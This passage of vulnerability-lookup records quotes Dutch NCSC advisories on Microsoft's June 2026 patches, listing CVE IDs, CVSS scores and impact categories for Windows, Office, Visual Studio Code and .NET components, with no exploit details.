"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48569", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0184", "content": "Microsoft heeft kwetsbaarheden verholpen in Developer Tools. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals beschreven in de onderstaande tabellen.\n\nMet uitzondering van de kwetsbaarheid in .NET core, waarvoor geen voorafgaande authenticatie of gebruikersinteractie nodig is om een Denial-of-Service te veroorzaken, moet voor succesvol misbruik de kwaadwillende lokaal toegang hebben tot het kwetsbare systeem, of het slachtoffer misleiden een malafide broncodebestand te openen en uitvoeren.\n\n```\nVisual Studio Code: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47287 | 6.50 | Manipulatie van gegevens            | \n| CVE-2026-47292 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40376 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-47281 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-47284 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-48569 | 7.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nGitHub Copilot and Visual Studio Code: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45482 | 8.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nMicrosoft Live Share Canvas SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45644 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nASP.NET Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45591 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\n.NET: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45490 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45491 | 6.20 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T16:23:58.000000Z"}, {"uuid": "38204304-d19f-46b9-bc85-ab42dc5056f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48566", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "7f1d1a26-c418-4867-af28-664d0e69fcf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48560", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0182", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten als Sharepoint, Wordt, Project en Excel. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen.\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45467 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-45468 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-45479 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-45453 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-47298 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-47636 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-47637 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-47638 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-47639 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-47641 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-33113 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-45454 | 6.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-45462 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-45464 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-45465 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-47634 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-47640 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-45481 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-45484 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48560 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-48562 | 4.60 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45475 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-45471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-45486 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-45485 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44819 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44821 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44824 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-45466 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45643 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-45457 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Teams for Android: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42835 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nOffice for Android: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45649 | 7.10 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Project: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45483 | 4.60 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45472 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45474 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45456 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45458 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45460 | 4.70 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45461 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45645 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47635 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45463 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45469 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44817 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44818 | 7.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-44820 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44823 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44822 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45455 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45459 | 3.30 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Click-To-Run: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47293 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-06-09T16:04:53.000000Z"}, {"uuid": "01f5736b-a8c0-4208-9ff7-0465029f4c95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48562", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0182", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten als Sharepoint, Wordt, Project en Excel. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen.\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45467 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-45468 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-45479 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-45453 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-47298 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-47636 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-47637 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-47638 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-47639 | 5.40 | Voordoen als andere 